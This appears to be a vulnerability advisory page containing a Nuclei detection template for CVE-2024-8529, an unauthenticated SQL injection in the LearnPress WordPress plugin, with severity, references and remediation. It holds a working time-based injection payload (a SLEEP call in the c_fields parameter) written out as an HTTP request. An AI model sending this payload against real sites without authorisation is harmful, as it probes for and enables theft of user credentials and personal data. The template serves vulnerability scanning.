The LearnPress WordPress LMS Plugin before 4.2.7.1 is vulnerable to unauthenticated SQL injection via the 'c_fields' parameter in the /wp-json/lp/v1/courses/archive-course REST API endpoint, allowing attackers to extract sensitive information from the database.
PoC
id: CVE-2024-8529
info:
name: LearnPress < 4.2.7.1 - SQL Injection
author: ritikchaddha,iacker
severity: critical
description: |
The LearnPress WordPress LMS Plugin before 4.2.7.1 is vulnerable to unauthenticated SQL injection via the 'c_fields' parameter in the /wp-json/lp/v1/courses/archive-course REST API endpoint, allowing attackers to extract sensitive information from the database.
impact: |
Unauthenticated attackers can exploit SQL injection through the c_fields parameter to extract sensitive database information including user credentials, course data, and personal information from the LearnPress LMS.
remediation: |
Update the LearnPress plugin to version 4.2.7.1 or later.
reference:
- https://wpscan.com/vulnerability/6b86c089-177b-45b4-979e-4ae08e586e83/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/c2b2671e-0db7-4ba9-b574-a0122959e8fc
- https://nvd.nist.gov/vuln/detail/CVE-2024-8529
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-8529
cwe-id: CWE-89
epss-score: 0.11831
epss-percentile: 0.9587
cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
verified: true
fofa-query: body="wp-content/plugins/learnpress"
vendor: thimpress
product: learnpress
tags: cve,cve2024,wordpress,wp-plugin,wp,learnpress,sqli,time-based-sqli,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/learnpress/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "LearnPress", "WordPress LMS Plugin")'
condition: and
internal: true
- raw:
- |
@timeout: 30s
GET /wp-json/learnpress/v1/courses?c_fields=(SELECT(0)FROM(SELECT(SLEEP(8)))a)/*{{randstr}}*/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=8'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
# digest: 4a0a00473045022100d5a5d9f0c2579783af96ff539e8a8050dee09d37996bb08aa0c4a1443b60b4df022040b6bdc25bdd6f0ff1b3f3a9a3e0dd22980ae692ae9123b81a334dd691f17817:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.